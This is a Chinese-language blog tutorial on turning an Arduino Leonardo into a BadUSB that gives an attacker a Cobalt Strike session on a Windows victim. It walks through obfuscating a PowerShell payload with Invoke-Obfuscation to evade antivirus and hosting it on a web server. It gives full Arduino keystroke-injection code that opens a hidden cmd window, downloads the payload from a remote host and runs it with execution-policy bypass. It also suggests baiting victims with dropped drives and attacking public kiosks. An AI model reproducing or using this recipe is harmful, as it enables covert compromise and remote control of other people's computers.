BadUSB實現CobaltStrike快速上線
背景介紹
最近接觸到各種釣魚方法,研究到U盤釣魚的時候,決定搞個BadUSB玩玩。BadUSB漏洞是由安全研究人員Karsten Nohl 和 Jakob Lell 在 2014 年黑帽會議上首次發現并暴露出來的,這也就讓USB安全和幾乎所有和USB相關的設備(包括具有USB端口的電腦)都陷入相當危險的狀態。
就狹義來說,BadUSB是指形似 U 盤的設備,內部的電路在上電之后會被系統識別為鍵盤,此時該設備內部的芯片開始與電腦進行鍵盤通訊,仿照人的輸入習慣,來操作電腦,以此達到駭入電腦的目的。
就廣義來說,BadUSB是指一切會被電腦識別為 HID 設備的,外觀卻不像鍵盤的電子設備。現階段有的 BadUSB是形似數據線的,有的則是手機加定制內核,以發揮 BadUSB 的作用,更有甚者,將 BadUSB 開發為模塊,可以嵌入任意的帶 USB 接口的設備中。
本文旨在交流技術,嚴禁從事不正當活動。網絡不是法外之地,爭做遵紀守法好公民。
實現工具及環境
- BadUSB Leonardo開發板
- Arduino IDE_v1.8.5
- CobaltStrike 4.0
- Server醬
- Ubuntu 20.04.4(CS服務端、木馬服務器)、Windows10(CS客戶端)、Windows10(受害者)
鏈接:https://pan.baidu.com/s/1UQI9GldqY8T3CIRrmDy7Pw
提取碼:r1c4
復現步驟
前期準備
CobaltStrike啟動服務端
./teamserver xxx.xxx.xxx 123456

CobaltStrike客戶端登錄,添加監聽器


受害機為Windows系統,對于exe的木馬會比較敏感,所以我們生成powershell的木馬


保存在桌面命名為payload.ps1,查殺了一下被殺軟過濾了,需要對這個馬做一下免殺,PowerShell的免殺可以用Invoke-Obfuscation,進入目錄執行powershell命令
set-executionpolicy remotesigned
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

然后執行命令,指定待處理的Ps1文件
或者指定待處理的ps代碼
set scriptpath c:\xxx\payload.ps1
set scriptblock 'echo xss'
輸入encoding并選擇編碼方式,比如1,這里我選擇混淆兩次ascii按兩次1兩次回車就完事兒了


導出免殺ps文件到指定路徑
out C:\xxx\xxx.ps1
到這里簡單的免殺完成了,將這個馬放到遠程服務器上備用,我們可以用以下命令啟動內置的Apache服務器,使受害者可以下載木馬。訪問可以看到服務器上的馬
python2 -m SimpleHTTPServer [port]
or
python3 -m http.server [port]


燒錄制作
下面我們可以進行badusb開發板的燒錄
將硬件插入電腦,查看一下對應端口

打開Arduino IDE,工具->板->選擇”Arduino Leonardo”和對應端口

將以下代碼粘貼到arduino
#include<Keyboard.h>
void setup() {
// putpower shell your setup code here, to run once
Keyboard.begin();//開始鍵盤通訊
delay(3000);//延時
Keyboard.press(KEY_LEFT_GUI);//win鍵
delay(500);
Keyboard.press('r');//r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1"); //無回顯
//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回顯
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
Keyboard.println("powershell\n");
Keyboard.println("$clnt = new-object system.net.webclient;\n");
Keyboard.println("$url= 'http://xxx.xxx.xxx:xxxx/payload.ps1';\n"); //遠程服務器ps1遠控地址
Keyboard.println("$file = 'd:\\xxx.ps1';\n"); //下載到目標存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)\n"); //采用分段執行繞過防火墻進程防護
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\\xxx.ps1"); //本地權限繞過執行木馬腳本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊
}
void loop() {
// put your main code here, to run repeatedly:
}
代碼大體意思:
- 插入BadUsb后等待3秒
- 按下Windows+R
- 切換大寫繞開輸入法
- 模擬輸入字符串,最小化打開cmd窗口
- 隱藏輸入特定命令,下載遠控并調用powershell執行
進行燒錄程序,先點擊第一個編譯按鈕,無誤以后點擊第二個進行燒錄,等下面的進度條跑完,提示完成

上線測試
電腦插入BadUSB,桌面會有些許痕跡,會有一個很小的cmd窗口,放大里邊沒任何內容,可以看到殺軟也可以免殺


很快啊,CobaltStrike發現上線

結合Server醬很方便,可以把上線通知發到微信

攻擊場景
1.社工攻擊
把BadUSB放到一些顯眼的地方或者放在地上裝有人不小心掉了,可以在表面貼一些貼紙或者寫著“內部資源”、“個人資料”等標簽,引誘受害者插入電腦
2.帶有USB的終端機
各場所終端機器,找到USB接口懟進去,有許多是Windows系統,比如一些自助取票機
小伙伴們可以根據文章自行復現,但是千萬不要做違法的行為哦!
參考文章
BadUSB簡單免殺一秒上線CobaltStrike
badusb的初步探索(針對windows研究)
物理滲透戰士:教你如何使用BadUSB配合CS免殺實現上線

浙公網安備 33010602011771號